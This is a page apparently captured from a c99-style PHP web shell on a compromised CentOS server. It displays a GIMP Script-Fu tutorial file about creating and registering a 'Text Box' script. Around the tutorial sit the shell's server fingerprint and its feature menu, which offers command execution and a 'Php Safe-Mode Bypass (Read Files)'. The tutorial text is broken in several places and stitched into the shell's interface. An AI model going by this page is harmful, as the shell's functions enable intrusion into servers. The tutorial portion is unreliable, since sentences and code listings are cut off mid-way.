Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gimp/2.0/help/en/ drwxr-xr-x |
Viewing file: ch07s03s04.html (19.7 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | Do you not need to stop and catch your breath? No? Well then, let's proceed with your fourth lesson -- your first Script-Fu Script. One of the most common operations I perform in Gimp is creating a box with some text in it for a web page, a logo or whatever. However, you never quite know how big to make the initial image when you start out. You don't know how much space the text will fill with the font and font size you want. The Script-Fu Master (and student) will quickly realize that this problem can easily be solved and automated with Script-Fu. We will, therefore, create a script, called Text Box, which creates an image correctly sized to fit snugly around a line of text the user inputs. We'll also let the user choose the font, font size and text color. Up until now, we've been working in the Script-Fu Console. Now, however, we're going to switch to editing script text files. Where you place your scripts is a matter of preference -- if you have access to Gimp's default script directory, you can place your scripts there. However, I prefer keeping my personal scripts in my own script directory, to keep them separate from the factory-installed scripts.
In the Every Script-Fu script defines at least one function, which is the script's main function. This is where you do the work. Every script must also register with the procedural database, so you can access it within Gimp. We'll define the main function first: (define (script-fu-text-box inText inFont inFontSize inTextColor)) Here, we've defined a new function called script-fu-text-box that takes four parameters, which will later correspond to some text, a font, the font size, and the text's color. The function is currently empty and thus does nothing. So far, so good -- nothing new, nothing fancy. Scheme's naming conventions seem to prefer lowercase letters with hyphens, which I've followed in the naming of the function. However, I've departed from the convention with the parameters. I like more descriptive names for my parameters and variables, and thus add the "in" prefix to the parameters so I can quickly see that they're values passed into the script, rather than created within it. I use the prefix "the" for variables defined within the script. It's Gimp convention to name your script functions script-fu-abc, because then when they're listed in the procedural database, they'll all show up under script-fu when you're listing the functions. This also helps distinguish them from plug-ins.
Now, let's register the function with Gimp. This is done by
calling the function Here's the listing for registering this function (I will explain all its parameters in a minute): (script-fu-register "script-fu-text-box" ;func name "Text Box" ;menu label "Creates a simple text box, sized to fit\ around the user's choice of text,\ font, font size, and color." ;description "Michael Terry" ;author "copyright 1997, Michael Terry" ;copyright notice "October 27, 1997" ;date created "" ;image type that the script works on SF-STRING "Text:" "Text Box" ;a string variable SF-FONT "Font:" "Charter" ;a font variable SF-ADJUSTMENT "Font size" '(50 1 1000 1 10 0 1) ;a spin-button SF-COLOR "Color:" '(0 0 0) ;color variable ) (script-fu-menu-register "script-fu-text-box" "<Toolbox>/Xtns/Script-Fu/Text")
If you save these functions in a text file with a
If you invoke this new script, it won't do anything, of course, but you can view the prompts you created when registering the script (more information about what we did is covered next). Finally, if you invoke the Procedure Browser -- → ), you'll notice that our script now appears in the database.To register our script with Gimp, we call the function script-fu-register, fill in the seven required parameters and add our script's own parameters, along with a description and default value for each parameter. The Required Parameters
Once we have listed the required parameters, we then need to list the parameters that correspond to the parameters our script needs. When we list these params, we give hints as to what their types are. This is for the dialog which pops up when the user selects our script. We also provide a default value. This section of the registration process has the following format:
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0117 ]-- |